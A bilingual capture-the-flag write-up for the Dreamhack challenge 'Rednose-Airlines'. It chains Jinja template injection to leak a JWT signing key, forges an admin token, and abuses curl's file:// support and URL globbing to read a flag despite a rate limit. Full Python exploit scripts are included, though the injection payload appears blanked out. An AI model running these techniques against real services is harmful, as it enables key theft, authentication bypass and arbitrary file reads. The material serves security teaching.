Dreamhack: Rednose-Airlines

Dreamhack: Rednose-Airlines

in

Three Locks in a Row

Reaching the flag means clearing three gates, each feeding the next:

  1. A Flask login endpoint whose error message is rendered as a template.
  2. An admin-only API guarded by a JWT signed with a server-side random key.
  3. That API runs curl on a user-supplied URL (an SSRF/LFI primitive), but rate-limited.

Stage 1: SSTI Leaks the JWT Key

On a failed login the server does:

return render_template_string(
    '{form_id} is not registered, or the password is incorrect.'.format(form_id=form_id))

The form_id is .format-substituted and then handed to render_template_string. So any Jinja in form_id is evaluated. The input filter only allows letters and braces and caps length:

if len(form_id) > 10:  return "Too Long"
elif len(form_id) < 3: return "Too Short"
elif not re.search(r"^[A-Za-z{}]*$", form_id): return "Blacklist Word"

`` is 8 chars of letters and braces, so it fits. Sending it dumps the entire Flask config, including the app’s JWTKey:

curl -X POST http://host/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data "id=&pw=guest"
# <Config { ... 'JWTKey': 'ynqdwjxGxJkJNjuLYtNPSOtjOnWDtcLyXUizjXkxSMgGGJTJZn' }> is not registered ...

Stage 2: Forge an Admin JWT

The auth cookie is a HS256 JWT of {'id': ..., 'isAdmin': ...} signed with that now-known JWTKey. With the key in hand, we mint our own admin token:

import jwt
token = jwt.encode({"id": "admin", "isAdmin": True}, JWTKey, algorithm="HS256")

Set as the auth cookie, this passes the decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True check on the protected routes.

Stage 3: curl SSRF/LFI Under a Rate Limit

The admin endpoint shells out to curl on our URL:

airport = request.args.get('airport')
result = subprocess.run(['curl', airport], shell=False, stdout=subprocess.PIPE, ...)
return result.stdout

shell=False blocks command injection, but curl speaks file://, so we get local file read. The flag lives at flag_XXXX.txt with a random 4-letter suffix, and the endpoint allows only 10 requests per 5 minutes. Brute-forcing filenames one request at a time is hopeless.

The trick: curl does its own globbing. A single URL with [a-z][a-z][a-z][a-z] expands to every 4-letter combination internally, so one request covers the whole keyspace:

params = {"airport": "file://localhost/deploy/flag_[a-z][a-z][a-z][a-z].txt"}
r = requests.get(domain + "/api/metar", params=params, cookies={"auth": token})
print(r.text)      # DH{REDACTED}

Full chain:

import requests, jwt, re

domain = "http://host/"

# 1) SSTI -> leak JWTKey
r = requests.post(domain + "login",
                  headers={"Content-Type": "application/x-www-form-urlencoded"},
                  data={"id": "", "pw": "guest"})
jwt_key = re.search(r"JWTKey&#39;: &#39;([a-zA-Z0-9]+)", r.text).group(1)

# 2) forge admin token
token = jwt.encode({"id": "admin", "isAdmin": True}, jwt_key, algorithm="HS256")

# 3) curl file:// with glob to beat the rate limit in one shot
r = requests.get(domain + "api/metar",
                 params={"airport": "file://localhost/deploy/flag_[a-z][a-z][a-z][a-z].txt"},
                 cookies={"auth": token})
print(r.text)

Takeaways

Each gate was individually “small,” but they compose into full flag disclosure. The lessons: never build a template string from user input and pass it to render_template_string. That’s SSTI whether or not you meant it, and `` alone leaks secrets like signing keys. A JWT is only as safe as its key, and here the key was reachable through a different bug entirely. And curl as a fetch backend is more than HTTP. file:// turns it into arbitrary file read, while its built-in globbing quietly defeats request rate limits that assume one filename per request.


나란히 놓인 자물쇠 셋

플래그에 닿으려면 세 관문을 통과해야 하고, 각각이 다음을 먹여 살립니다.

  1. 오류 메시지가 템플릿으로 렌더링되는 Flask 로그인 엔드포인트.
  2. 서버 측 랜덤 키로 서명된 JWT로 보호되는 admin 전용 API.
  3. 그 API가 사용자 URL에 curl을 실행 (SSRF/LFI 프리미티브지만 rate limit이 걸림).

1단계: SSTI로 JWT 키 leak

로그인 실패 시 서버는 이렇게 합니다.

return render_template_string(
    '{form_id} is not registered, or the password is incorrect.'.format(form_id=form_id))

form_id가 .format으로 치환된 뒤 render_template_string에 넘어가므로, form_id 안의 Jinja가 평가됩니다. 입력 필터는 글자와 중괄호만 허용하고 길이를 제한합니다.

if len(form_id) > 10:  return "Too Long"
elif len(form_id) < 3: return "Too Short"
elif not re.search(r"^[A-Za-z{}]*$", form_id): return "Blacklist Word"

``는 글자와 중괄호로 이루어진 8글자라 조건을 만족합니다. 이걸 보내면 앱의 JWTKey를 포함한 Flask config 전체가 덤프됩니다.

curl -X POST http://host/login \
     -H "Content-Type: application/x-www-form-urlencoded" \
     --data "id=&pw=guest"
# <Config { ... 'JWTKey': 'ynqdwjxGxJkJNjuLYtNPSOtjOnWDtcLyXUizjXkxSMgGGJTJZn' }> is not registered ...

2단계: admin JWT 위조

인증 쿠키는 그 JWTKey로 서명된 {'id': ..., 'isAdmin': ...}의 HS256 JWT입니다. 키를 손에 넣었으니 우리 admin 토큰을 직접 발급합니다.

import jwt
token = jwt.encode({"id": "admin", "isAdmin": True}, JWTKey, algorithm="HS256")

이를 auth 쿠키로 설정하면 보호된 라우트의 decode_jwt['id'] == 'admin' and decode_jwt['isAdmin'] == True 검사를 통과합니다.

3단계: rate limit 하의 curl SSRF/LFI

admin 엔드포인트는 우리 URL에 curl을 실행합니다.

airport = request.args.get('airport')
result = subprocess.run(['curl', airport], shell=False, stdout=subprocess.PIPE, ...)
return result.stdout

shell=False가 명령 주입을 막지만, curl은 file://을 말할 줄 알아서 로컬 파일 읽기가 됩니다. 플래그는 랜덤 4글자 접미사를 가진 flag_XXXX.txt에 있고, 엔드포인트는 5분당 10요청만 허용하므로 한 번에 하나씩 파일명을 브포하는 건 가망이 없습니다.

트릭은 curl이 스스로 글로빙을 한다는 것입니다. [a-z][a-z][a-z][a-z]가 든 URL 하나가 내부에서 모든 4글자 조합으로 확장되므로, 요청 한 번이 키스페이스 전체를 덮습니다.

params = {"airport": "file://localhost/deploy/flag_[a-z][a-z][a-z][a-z].txt"}
r = requests.get(domain + "/api/metar", params=params, cookies={"auth": token})
print(r.text)      # DH{REDACTED}

전체 체인:

import requests, jwt, re

domain = "http://host/"

# 1) SSTI -> JWTKey leak
r = requests.post(domain + "login",
                  headers={"Content-Type": "application/x-www-form-urlencoded"},
                  data={"id": "", "pw": "guest"})
jwt_key = re.search(r"JWTKey&#39;: &#39;([a-zA-Z0-9]+)", r.text).group(1)

# 2) admin 토큰 위조
token = jwt.encode({"id": "admin", "isAdmin": True}, jwt_key, algorithm="HS256")

# 3) 글로빙 curl file:// 로 rate limit을 한 방에 우회
r = requests.get(domain + "api/metar",
                 params={"airport": "file://localhost/deploy/flag_[a-z][a-z][a-z][a-z].txt"},
                 cookies={"auth": token})
print(r.text)

정리

각 관문은 개별적으로 “작았지만” 조합되어 완전한 플래그 노출로 이어집니다. 교훈은 이렇습니다. 사용자 입력으로 템플릿 문자열을 만들어 render_template_string에 넘기지 마세요. 의도했든 아니든 그것이 SSTI이며, `` 하나만으로 서명 키 같은 시크릿이 샙니다. JWT는 그 키만큼만 안전하고, 여기선 키가 전혀 다른 버그로 도달 가능했습니다. 그리고 fetch 백엔드로서의 curl은 HTTP 이상입니다. file://은 그것을 임의 파일 읽기로 바꾸고, 내장 글로빙은 요청당 파일명 하나를 가정한 rate limit을 조용히 무력화합니다.